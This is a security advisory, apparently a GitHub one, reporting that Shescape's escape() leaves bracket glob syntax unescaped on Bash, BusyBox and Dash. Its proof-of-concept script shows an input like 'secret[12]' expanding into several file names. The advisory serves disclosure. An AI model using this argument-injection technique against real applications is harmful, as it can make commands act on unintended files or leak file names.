Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Summary

Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.

Details

The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:

• src/internal/unix/bash.js:14-30
• src/internal/unix/busybox.js:14-30
• src/internal/unix/dash.js:12-19

They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).

Proof of Concept

Use the published npm tarball without modifications:

tmp=$(mktemp -d)
cd "$tmp"
npm pack shescape@2.1.9 >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev

node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";

const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");

for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
  const shescape = new Shescape({ shell });
  const escaped = shescape.escape("secret[12]");
  console.log(${shell} escaped=${escaped});
  const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
  process.stdout.write(out);
}
NODE

Output:

/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>

Expected: the shell receives secret\[12\], so only one literal argument runs.

Impact

Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.